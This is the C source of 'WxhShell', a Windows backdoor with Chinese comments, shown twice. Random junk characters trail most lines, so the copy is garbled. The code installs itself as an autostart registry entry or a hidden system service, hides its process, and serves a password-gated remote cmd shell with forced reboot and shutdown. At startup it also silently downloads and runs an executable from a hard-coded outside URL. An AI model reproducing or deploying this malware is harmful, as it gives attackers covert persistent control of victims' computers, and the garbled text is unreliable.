if(!OsIsNt) { +EFurdX\
// 如果时win9x，隐藏进程并且设置为注册表启动 _x lgsa
HideProc(); .-r 1.'.A
StartWxhshell(lpCmdLine); gt ?&!S^
} -H]svOX
else 0 cQf_o
if(StartFromService()) hIdGQKr>V
// 以服务方式启动 )~J/,\
StartServiceCtrlDispatcher(DispatchTable); Q:-/@$&i
else o(a*Fk$
// 普通方式启动 5/(Dh![l
StartWxhshell(lpCmdLine); d BJM?/
fN&O `T>
return 0; }3+(A`9h f
} gcz1*3)
!is8`8F8
ljk-xC p/
k'{lo_
=========================================== zgO?%O
Lrk^<:8;
f5O*Njl
l@^RbF['
h\yYg'CC
yn7n
" ;eWVc;H
:]]amziP&
#include <stdio.h> yyXJ_B
#include <string.h> F:\y#U6"J
#include <windows.h> DF-og*V
#include <winsock2.h> JY /Cd6\
#include <winsvc.h> c~>M7e(
#include <urlmon.h> ?1[go+56X
2Aff3]-:Gd
#pragma comment (lib, "Ws2_32.lib") KLoHjBq
#pragma comment (lib, "urlmon.lib") 1sgoT f%
o`&idn|,
#define MAX_USER 100 // 最大客户端连接数 3fGy
#define BUF_SOCK 200 // sock buffer {i=qx#2X?H
#define KEY_BUFF 255 // 输入 buffer ^+}<Q#y-
K%Rx5 S
#define REBOOT 0 // 重启 b]J_R"}
#define SHUTDOWN 1 // 关机 9'T(Fc
;ymUMQ%;/
#define DEF_PORT 5000 // 监听端口 ArF+9upGY
V57^0^Zp`
#define REG_LEN 16 // 注册表键长度 JNZKzyJ9K
#define SVC_LEN 80 // NT服务名长度 $#0%gs/x
>0f5Mjug
// 从dll定义API &gq\e^0CRZ
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LEk W^Mv
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oW-luC+
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `f b}cJUa
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d/|@"z^?
fIFB"toiPE
// wxhshell配置信息 ty(F;M(
struct WSCFG { /Cwt4.5
int ws_port; // 监听端口 ]0\8g=KK
char ws_passstr[REG_LEN]; // 口令 }J:~}?^%n
int ws_autoins; // 安装标记, 1=yes 0=no Ii;~ xc
char ws_regname[REG_LEN]; // 注册表键名 8pPAEf
char ws_svcname[REG_LEN]; // 服务名 03#r F@e
char ws_svcdisp[SVC_LEN]; // 服务显示名 7|H !(a'
char ws_svcdesc[SVC_LEN]; // 服务描述信息 A/GEDG ?
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \+ K ^G
int ws_downexe; // 下载执行标记, 1=yes 0=no >\MV/!W
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pnVtjWrbG
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j_Dx4*vg
_e/vw:
}; _4.fT
84|Hn|4t
// default Wxhshell configuration xUj[d(q
struct WSCFG wscfg={DEF_PORT, fU$zG"a_
"xuhuanlingzhe", ij%\ld9kd
1, )(y&U
"Wxhshell", Rh,*tS
"Wxhshell", HZ]'?&0
"WxhShell Service", YW}1Mf=_
"Wrsky Windows CmdShell Service", O'o`
"Please Input Your Password: ", O+c@B}[!
1, HlLF<k~}
"http://www.wrsky.com/wxhshell.exe", x1wm]|BIf
"Wxhshell.exe" f |aO9w
}; YI&7s_% -
~E#>2Mh
// 消息定义模块 X+Xjf(
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %I[(`nb
char *msg_ws_prompt="\n\r? for help\n\r#>"; rAk*~OK
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F5:4 B]ZF
char *msg_ws_ext="\n\rExit."; mJ[LmQ<:
char *msg_ws_end="\n\rQuit."; }kGJ)zh
char *msg_ws_boot="\n\rReboot..."; ~%(r47n
char *msg_ws_poff="\n\rShutdown..."; mI"`.
char *msg_ws_down="\n\rSave to "; `dMl5b
R7( + ^%
char *msg_ws_err="\n\rErr!"; Pa%XLn'5
char *msg_ws_ok="\n\rOK!"; QV7K~qi
hP,SvN#!2
char ExeFile[MAX_PATH]; tk2B\}6
int nUser = 0; 0g~WM
HANDLE handles[MAX_USER]; GAEz :n
int OsIsNt; H>a3\M
yUqvF6+26
SERVICE_STATUS serviceStatus; 9^)ochY3
SERVICE_STATUS_HANDLE hServiceStatusHandle; ey@y?X=
XBdC/DM[
// 函数声明 :/K 'P`JaL
int Install(void); 'P39^rb
int Uninstall(void); +|r) ;>b
int DownloadFile(char *sURL, SOCKET wsh); F;}?O==H;
int Boot(int flag); 9c46|
void HideProc(void); >{$;O
int GetOsVer(void); k-Le)8+b
int Wxhshell(SOCKET wsl); ` L6H2:pf
void TalkWithClient(void *cs); [AfV+$
int CmdShell(SOCKET sock); -|:7<$2#I
int StartFromService(void); +TfMj1Zx
int StartWxhshell(LPSTR lpCmdLine); kT[]^Jtc
GK2IY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); av&dGsFP
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rKP"|+^
6^s]2mMfk
// 数据结构和表定义 LdDkd(k
SERVICE_TABLE_ENTRY DispatchTable[] = yAi#Y3!::
{ Bm;{dO
{wscfg.ws_svcname, NTServiceMain}, j+88J
{NULL, NULL} /Vg R[
}; 4ehajK
;_%61ZI?M<
// 自我安装 JOx75}
int Install(void) 2sk^A ly
{ gPd:>$
char svExeFile[MAX_PATH]; _|g(BK2}
HKEY key; v'2EYTVNJD
strcpy(svExeFile,ExeFile); NV^ktln
b^;19]/RW
// 如果是win9x系统，修改注册表设为自启动 q;}^Jpb;
if(!OsIsNt) { I,l%6oPa
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <YUc?NF
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~i=/@;wRp
RegCloseKey(key); iePpJ>(
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,D [
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @R9
RegCloseKey(key); Z>Rd6o'
return 0; :2 n5;fp
} |rq~.cA
} BT2[@qH|qF
} ? Ls]k
else { _(0!bUs>
fFqK.^Tn
// 如果是NT以上系统，安装为系统服务 tV[?WA[xt
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IhJ _Yed
if (schSCManager!=0) aL-V9y
{ SrN0f0
SC_HANDLE schService = CreateService i6h:%n]Io
( ePrbG4xv
schSCManager, +O*S>0
wscfg.ws_svcname, 49 fs$wr@
wscfg.ws_svcdisp, A&Ut:OiA
SERVICE_ALL_ACCESS, u)t1t69T\g
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "Y7RvL!U
SERVICE_AUTO_START, =3a`NO5!
SERVICE_ERROR_NORMAL, |2 g }i\
svExeFile, tZk@ RX
NULL, YzhZ%:8
NULL, Q^Y>T&Q
NULL, h}g _;k5R
NULL, BaR9X ?~O$
NULL IgptiZ7~!
); Wa2V Z
if (schService!=0) ~*LH[l>K
{ #v89`$#`2
CloseServiceHandle(schService); ;k (}~_
CloseServiceHandle(schSCManager); vJtQ&,zG
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qV/"30,K
strcat(svExeFile,wscfg.ws_svcname); o5BOe1_Pw
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2a (w7/W:
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6!+xf
RegCloseKey(key); jQ%}e"
return 0; [\@!~F{
} p!hewtb5
} -x:Wp*,
CloseServiceHandle(schSCManager); /fBZRdB
} (x&#>5
} E{wVf_K
/(W{`
return 1; ~ W52Mbf
} \X Nb9-
l1gAm#
// 自我卸载 d,8V-Dk+p
int Uninstall(void) '+f!(teLz
{ PcM:0(,G
HKEY key; No=f&GVg
7M3q|7?
if(!OsIsNt) { qAivsYN*
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X'7 T"5!
RegDeleteValue(key,wscfg.ws_regname); $Z.c9rY1
RegCloseKey(key); gS4K](KH |
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ` *$^rQS
RegDeleteValue(key,wscfg.ws_regname); E+JGqk
RegCloseKey(key); hy W4=
return 0; " &p\pR~
} u'yePJTE
} S8.nM}x
} kYPowM
else { e%wbUr]c2
;9,Ll%Lk<
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vn=J$Uv0
if (schSCManager!=0) \<i#Jn+)
{ UrN$nhH
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \n`UkxZn+
if (schService!=0) &e cf5jFy
{ T/-PSfbkj
if(DeleteService(schService)!=0) { =1VY/sv
CloseServiceHandle(schService); by>,h4
CloseServiceHandle(schSCManager); |PI.xl:ch
return 0; OWtN=Gk
} JeWW~y`e?{
CloseServiceHandle(schService); ~4XJ" d3L
} FRs5 Pb1
CloseServiceHandle(schSCManager); 6CY_8/:zL
} \<T6+3p
} nzhQ\'TC
<:q]t6]$
return 1; k}F;e_
} KhXW5hS1
vJl4.nk
// 从指定url下载文件 $sGX%u
int DownloadFile(char *sURL, SOCKET wsh) F'pD_d9]e
{ 34s:|w6y
HRESULT hr; iOjmj0
char seps[]= "/"; _wZ(%(^I
char *token; }I05&/o.3p
char *file; An/)|B4
char myURL[MAX_PATH]; `A&64D
char myFILE[MAX_PATH]; +~w '?vNc
qI8{JcFx:
strcpy(myURL,sURL); 7F)HAbIS
token=strtok(myURL,seps); 3o"~_l$z
while(token!=NULL) %S$P+B?
{ MJ}VNv|S
file=token; (Q#A Br8
token=strtok(NULL,seps); }KS[(Q
} xV<NeU
PS(LD4mD
GetCurrentDirectory(MAX_PATH,myFILE); O23f\pm&
strcat(myFILE, "\\"); zzq/%jki
strcat(myFILE, file); Fc 5g~T
send(wsh,myFILE,strlen(myFILE),0); G78rpp
send(wsh,"...",3,0); - bFz
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &*/X*!_HK
if(hr==S_OK) !{Y$5)Xh`]
return 0; BuK82
else Q\ro )r
return 1; )WKe,:C
"xnek8F
} .i[Tp6'%,
)9L1WOGi
// 系统电源模块 Z{u*vUC&
int Boot(int flag) zx;x@";p
{ Fv#ToT:QXe
HANDLE hToken; NpH)K:$#%
TOKEN_PRIVILEGES tkp; )Bd+jli|s
-I\_v*nA
if(OsIsNt) { TxPP{6t
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u) fbR
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HZfcLDrO
tkp.PrivilegeCount = 1; WmOd1
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `,\WhJ?9
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9I^_n+E
if(flag==REBOOT) { @f{)]I +f
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aViJ?*
return 0; w7w$z_P
} <J?i+b
else { s)xfTr_$
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8l;0)`PU
return 0; WpSdukXY{
} Y @pkfH
} D[;6xJ
else { T5W r;a
if(flag==REBOOT) { cs~ }k7><
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &$vDC M4
return 0; ?ew^%1!W.
} %Ljc#AVg
else { uR@\/6!@
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~>s^/`|?
return 0; 6Y\9h)1Jo
} ^>[DG]g
} !=q {1\#
KJcdX9x
return 1; HHa7Kh|-H
} j!m~ :D
.R biF
// win9x进程隐藏模块 1pO ;aG1O
void HideProc(void) 0#sk]Qz
{ I2K52A+
e`#Gq0}8
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [9aaHf@'
if ( hKernel != NULL ) iT9cw`A^%
{ ?aO%\<b
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); OkA-=M)RI:
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dpJi5fN
FreeLibrary(hKernel); G?>~w[#mQR
} &v3r#$Hj[
BQ_\8Qt|
return; HRx#}hN?+
} Me5umA
kDO6:sjR7
// 获取操作系统版本 b^hCm`2w*
int GetOsVer(void) 3]xnKb|W
{ j(Q$frI
OSVERSIONINFO winfo; '#u2q=n4*
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UkXc7D^jwm
GetVersionEx(&winfo); !i}G>*XH,
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wu.od|t0
return 1; &~||<0m
else X] Tb4
return 0; V!"^6)
} S)JZb_
A[+op'>k
// 客户端句柄模块 Mt@K01MI%
int Wxhshell(SOCKET wsl) D|9B1>A,m
{ +u25>pX
SOCKET wsh; TSHp.ABf
struct sockaddr_in client; 0SvPyf%AC
DWORD myID; ,u~\$Az6
K=`*cSU>
while(nUser<MAX_USER) Ie4*#N_
{ f()^^+
int nSize=sizeof(client); UPN2p&gM
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;CAB.aB~
if(wsh==INVALID_SOCKET) return 1; y7,~7f!N2
o#0NIn"GS/
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PO)5L
if(handles[nUser]==0) DB?_E{y]
closesocket(wsh); bmT J
else 8'g/WZY~~
nUser++; Dq2eX;c@
} (T'inNbJe
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3P-#NL
G*J(4~Yw}
return 0; 7Dm^49H
} to:hMd1T
_Q.3X[88C
// 关闭 socket _}JygOew
void CloseIt(SOCKET wsh) ZTt%7K"L
{ lD C74g
closesocket(wsh); {'r(P&
nUser--; cJE2z2uW0
ExitThread(0); #"7:NR^H^
} Z|wZyt$$
bdcuO)3
// 客户端请求句柄 /I6?t=?<
void TalkWithClient(void *cs) Oa@X! \
{ 2M1yw "
G9VzVx#T#
SOCKET wsh=(SOCKET)cs; :B=`^>RK
char pwd[SVC_LEN]; dHOz;4_
char cmd[KEY_BUFF]; >u4uV8S
char chr[1]; >O\-\L
int i,j; SB \ptF
luC',QJB
while (nUser < MAX_USER) { +m>Kb edl
uVisU%p
if(wscfg.ws_passstr) { 4r5,kOFWb
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K90Zf
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~r=TVHjqi
//ZeroMemory(pwd,KEY_BUFF); *xLMs(gg
i=0; J`"1DlH
while(i<SVC_LEN) { ;=uHK'{
Ho"FB|e
// 设置超时 eMh:T@SN
fd_set FdRead; jj$'DZk
struct timeval TimeOut; ?58pkg J
FD_ZERO(&FdRead); 0U$6TDtmE
FD_SET(wsh,&FdRead); ]L_HnmD6
TimeOut.tv_sec=8; EB> RY+\
TimeOut.tv_usec=0; possM'vC
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XUSfOf(
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); spe9^.SI
c~C :"g.y
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PfuYT_p4s
pwd=chr[0]; f-{[ushj
if(chr[0]==0xd || chr[0]==0xa) { Box,N5AA
pwd=0; VUNQ@{ST|1
break; Fg,[=CqB[
} aMz%H|/$
i++; |fzo$Bq
} crhck'?0
s;5PHweWf
// 如果是非法用户，关闭 socket /?_{DMt
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <edAWc+
} BO{J{
p>!r[v'
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &.4lhfI+(Q
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -<s?`Rnk
47icy-@kg
while(1) { ;V%lFP3#
ipbVQ7
ZeroMemory(cmd,KEY_BUFF); :*oI"U*f
%@rh\Z
// 自动支持客户端 telnet标准 _;@kS<\N
j=0; K=B[MT#V{2
while(j<KEY_BUFF) { 2?}(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H-rf?R2
cmd[j]=chr[0]; h.7 1O"N
if(chr[0]==0xa || chr[0]==0xd) { GN~:rdd
cmd[j]=0; ,,G0}N@7s
break; IO6i
} h1Q7(8=Eg
j++; ^qk$W?pX
} Xbu >8d?n
s!+?)bB
// 下载文件 tSOF7N/<
if(strstr(cmd,"http://")) { >c1mwZS;
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {{ wVM:1
if(DownloadFile(cmd,wsh)) YobIbpo
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VvltVYOZA
else d[o =
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?]7ITF
} ]&9f:5',
else { x/4lD}Pw]
}U#S*
switch(cmd[0]) { &O%Kj8)
r^ "mPgY
// 帮助 VyI%^S ]sS
case '?': { D&oC1
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xw=B4u'z
break; 0CDTj,eK
} _QErQ^`
// 安装 $[>wJXj3R
case 'i': { OsK=% aDpj
if(Install()) oF*Y$OEu?c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2R5]UR S
else tRXM8't
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N..u<06j/
break; ^X_%e|
} `V?{
// 卸载 =T\pq8
case 'r': { .&[nS<~`
if(Uninstall()) ioviJ7N% O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s0`uSQ2X
else \J13rL{<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F_-yT[i
break; Al` ;SWN
} @.g4?c
// 显示 wxhshell 所在路径 W5x]bl#
case 'p': { huQ1A0(no
char svExeFile[MAX_PATH]; WK=!<FsC$
strcpy(svExeFile,"\n\r"); tb=(L
strcat(svExeFile,ExeFile); d)0%|yX6
send(wsh,svExeFile,strlen(svExeFile),0); V3m!dp]
break; mj,r@@k:=+
} 2+^#<Uok
// 重启 $@U`zy"Y
case 'b': { F1+2V"~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bk7miRIB
if(Boot(REBOOT)) Q7SS<'(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S\ li<xl
else { *|jqRfa"
closesocket(wsh); 77 `/YE#M
ExitThread(0); uUJ2d84tV
} U{R*WB b
break; 9S<W~# zz
} .O,gl$y}
// 关机 t=pG6U
case 'd': { /|\`NARI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #?-W.
if(Boot(SHUTDOWN)) @-7K~in?^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <W5F~K ;41
else { Te.hXCFD
closesocket(wsh); ~pw_*AN
ExitThread(0); )Q\;N C=4
} }8FP5Z'Cf%
break; J:Qp(s-N^:
} ^]v}AEcmW
// 获取shell HL)1{[|`
case 's': { I,#U _
CmdShell(wsh); Jne)?Gt
closesocket(wsh); )GR^V=o7,Y
ExitThread(0); H(g&+Wcu=
break; xE9s=}
} cis~]x%
// 退出 lE`ScYG
case 'x': { x:@e ID
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [oYe/<3
CloseIt(wsh); `S.;&%B\
break; 'LX=yL]I
} UIyOn` d"
// 离开 kTnvD|3_!P
case 'q': { rkzhN59;
send(wsh,msg_ws_end,strlen(msg_ws_end),0); NeWssSje
closesocket(wsh); 4RzG3CJdS
WSACleanup(); k"n#4o:
exit(1); 7kb`o y;(^
break; fG.w;Aemv5
} ``O\'{o&
} ;DGWUK.U[H
} F:H76O`8
n_w,Ew,>5
// 提示信息 gG$o8c-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ZV xBQKg
} Llzowlfe
} lF#Kg!-l
7/~"\nN:/
return; ,CvU#ab8$
} ^oP]@r"qy
Ea3tF0{
// shell模块句柄 p;'vOb
int CmdShell(SOCKET sock) |, :(3Ml
{ =6 [!'K
STARTUPINFO si; J^?O]|
ZeroMemory(&si,sizeof(si)); 1E-$f
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +\E\&^ZQ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gF:wdcO
PROCESS_INFORMATION ProcessInfo; . XY'l
char cmdline[]="cmd"; \mycn/e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g-]td8}#
return 0; FKzqJwT
} 8(+X0}
D2hvf^g'*
// 自身启动模式 .3Ap+V8?
int StartFromService(void) 'IgtBd|K>
{ @e slF
typedef struct 1"e=Zqn$)
{ 00Rk%QV
DWORD ExitStatus; 'z\F-Ttq
DWORD PebBaseAddress; B O"+m
DWORD AffinityMask; Ylf6-FbF
DWORD BasePriority; 0|U<T#t8?
ULONG UniqueProcessId; FJD*A`a
ULONG InheritedFromUniqueProcessId; UC0 yrV
} PROCESS_BASIC_INFORMATION; {wm `
*R:nB)(6<
PROCNTQSIP NtQueryInformationProcess; q8p 'bibY
IEA[]eik>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ne4A
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b_LzG_n!
S !e0:
HANDLE hProcess; ^hgpeu
PROCESS_BASIC_INFORMATION pbi; E^qKkl
;P{ *'@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HgMDw/D(
if(NULL == hInst ) return 0; ;uJVY)7a
;xRyONt
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @GEvI2Vf.0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rbl(oj#
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~jPe9
X$xqu\t7
if (!NtQueryInformationProcess) return 0; }skXh_Vu4
eD/?$@y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /RMep8&
if(!hProcess) return 0; `aUA_"f
MdPwuXI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uo%zfi?
sI.Ezuw
CloseHandle(hProcess); ~vt8|OOo0
3Y8%5/D5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OU[Sm7B
if(hProcess==NULL) return 0; xo*a9H?@
e5AiIVlv
HMODULE hMod; ^yfT7050
char procName[255]; }b{N[
unsigned long cbNeeded; 1b't"i M
xOt|j4
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [[)HPHSQ
y@(U6ZOyx
CloseHandle(hProcess); 4[(P>`Unx
v<c8qg
if(strstr(procName,"services")) return 1; // 以服务启动 08twcY;&k
a]Lr<i8#%
return 0; // 注册表启动 /1^%32c
} J4JKAv~3
m!PN1$9V
// 主模块 w</kGK[O
int StartWxhshell(LPSTR lpCmdLine) D,R/abYZH
{ u=4tW:W,
SOCKET wsl; jKtbGVZ7r
BOOL val=TRUE; N". af)5
int port=0; 8 /\rmf\
struct sockaddr_in door; 8L&#<Ol
=T+<>/[
if(wscfg.ws_autoins) Install(); ~< k'{
$V@IRBm
port=atoi(lpCmdLine); (l$bA_F\
9 Z4H5!:(
if(port<=0) port=wscfg.ws_port; Iz ,C!c
1c\$ziB
WSADATA data; 3vMfms
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2"13!s
WyO10yvR
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |{Oe&j3|
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R@ihN?k
door.sin_family = AF_INET; X)'uTf0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); TT>;!nb
door.sin_port = htons(port); b&0q%tCK
>y2gfD
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \[Q,>{^
closesocket(wsl); p6sXftk
return 1; xC{W_a(
} {6RT&w
&,bJ]J)8O
if(listen(wsl,2) == INVALID_SOCKET) { Z~v.!j0
closesocket(wsl); $My%7S/3
return 1; dMYDB
} hX<0{pXM4
Wxhshell(wsl); yv&&x.!.Z
WSACleanup(); GsxrqIaD
EdLbVrN,
return 0; <AzvVSA,
<&Y7Q[
} LKTIwb>
#5=Yg5
// 以NT服务方式启动 QYDSE
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >DPC}@Wl
{ `cCsJm$V"
DWORD status = 0; bF<FX_}!s!
DWORD specificError = 0xfffffff; jq%Qc9y
(xy/:i".V
serviceStatus.dwServiceType = SERVICE_WIN32; '4ftclzL
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FG:(H0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,A4v|]kq]
serviceStatus.dwWin32ExitCode = 0; up#W"`"
serviceStatus.dwServiceSpecificExitCode = 0; x}{/) ?vC
serviceStatus.dwCheckPoint = 0; EH=[!iW;
serviceStatus.dwWaitHint = 0; :!n_a*.{
j!F5gP-l
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UBLr|e>dQE
if (hServiceStatusHandle==0) return; &Y4S[-
.]JGCTB3
status = GetLastError(); >;LXy
if (status!=NO_ERROR) `O5wM\Z
{ k+t?EZ6L
serviceStatus.dwCurrentState = SERVICE_STOPPED; -c{O!z6sX
serviceStatus.dwCheckPoint = 0; *2P%731n5
serviceStatus.dwWaitHint = 0; ]ri5mnB
serviceStatus.dwWin32ExitCode = status; I6S!-i
serviceStatus.dwServiceSpecificExitCode = specificError; sIJl9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [3"k :
return; "wy|gnQJ
} C0(?f[/(M
#ueWU
serviceStatus.dwCurrentState = SERVICE_RUNNING; o<cg9
serviceStatus.dwCheckPoint = 0; V"K-aO&
serviceStatus.dwWaitHint = 0; *t=8^q(K[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Ya%R@b}
} M#Kke9%2
GJS3O;2*
// 处理NT服务事件，比如：启动、停止 _Wg?H:\
VOID WINAPI NTServiceHandler(DWORD fdwControl) D`d*bNR
{ h}0}g]IUx
switch(fdwControl) VokIc&!Uz
{ !LJEo>D
case SERVICE_CONTROL_STOP: /<C}v~r
serviceStatus.dwWin32ExitCode = 0; [ICFPY6
serviceStatus.dwCurrentState = SERVICE_STOPPED; CiF(
serviceStatus.dwCheckPoint = 0; !:Z lVIA
serviceStatus.dwWaitHint = 0; }$%j}F{
{ 8L1vtYz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?TWve)U
} X\4d|VJ?m
return; )SU\s+"M
case SERVICE_CONTROL_PAUSE: zbY2gq@?
serviceStatus.dwCurrentState = SERVICE_PAUSED; *yl?M<28
break; N> 7sG(!'"
case SERVICE_CONTROL_CONTINUE: x%_VzqR`
serviceStatus.dwCurrentState = SERVICE_RUNNING; nwS @r
break; WoV"&9y
case SERVICE_CONTROL_INTERROGATE: 9[2qgw\D
break; =-bGH
}; B_Ul&V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [J!jp&o
} =M6Ph%
FP=up#zl
// 标准应用程序主函数 eR3v=Q
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nwwn #+
{ VdL*"i
`uP:UQ9S
// 获取操作系统版本 pq"Z,9,F%
OsIsNt=GetOsVer(); _"%hcCMw
GetModuleFileName(NULL,ExeFile,MAX_PATH); %8O1sF
b1TIVK3m
// 从命令行安装 JtvZ~s
if(strpbrk(lpCmdLine,"iI")) Install(); 5bB\i79$
|`|#-xu
// 下载执行文件 DHq#beN
if(wscfg.ws_downexe) { ='vD4}"j
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TUBpRABH
WinExec(wscfg.ws_filenam,SW_HIDE); 8$F"!dc _
} HKL/D
9r.h^
if(!OsIsNt) { @ D,]v:
// 如果时win9x，隐藏进程并且设置为注册表启动 O=[Q>\p
HideProc(); $PstEL
StartWxhshell(lpCmdLine); m#Ydq(0+
} 3Ofh#|qc&
else 3qW](
if(StartFromService()) i/.#`
// 以服务方式启动 R-Ys<;
StartServiceCtrlDispatcher(DispatchTable); t[r6jo7
